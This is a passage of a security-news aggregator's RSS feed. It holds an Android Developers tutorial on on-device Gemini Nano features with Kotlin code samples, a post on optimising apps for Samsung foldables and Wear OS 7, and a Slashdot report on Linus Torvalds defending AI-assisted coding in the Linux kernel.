<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Linus Torvalds To Critics of AI Coding On Linux: 'Fork It. Or Just Walk Away.']]></title>
<description><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds...]]></description>
<link>https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds said that "Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it. Or just walk away." The statement came amid a lengthy thread arguing about the use of Sashiko, an "agentic Linux kernel code review system" that its creators claim can, in tests, independently find 53.6 percent of the bugs that would end up being fixed by human coders in later commits. But the tool can also waste maintainers' time by sending "false positive" reports of bugs that don't exist, at a rate Sashiko's maintainers estimate is "well within [the] 20% range."
 
In discussing whether maintainers should be subjected to a flood of these kinds of automated, AI-powered bug report emails (true or false), one poster cited the Software Freedom Conservancy's recent statement that the open source community "should support, not just tolerate, those who outright reject LLM-gen-AI systems" and that "every FOSS contributor deserves self-determination regarding LLM-gen-AI." In the face of that statement, Torvalds said that he rejects those who demand that their open source projects not accept any LLM-generated code or revisions. "We're not forcing anybody to use [LLM tools], but I will very loudly ignore people who try to argue against other people from using it," Torvalds said.
 
Torvalds said his position on this is a pragmatic one that's "based on technical merit. Not fear of new tools." And when it comes to utility, Torvalds said that "AI is a tool, just like other tools we use. And it's clearly a useful one. It may not have been that 'clearly' even just a year ago, but it's no longer in question today. Anybody who doubts that clearly hasn't actually used it." [...] While Torvalds acknowledged that "AI isn't perfect," he urged detractors to compare the output of these tools to the performance of human code maintainers. "Anybody who points to the problems at AI had better be looking in the mirror and pointing at themselves at the same time," Torvalds wrote. "Because it's not like natural intelligence is always all that great either."<p></p><div class="share_submission">
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</div><p><a href="https://linux.slashdot.org/story/26/07/17/1830258/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
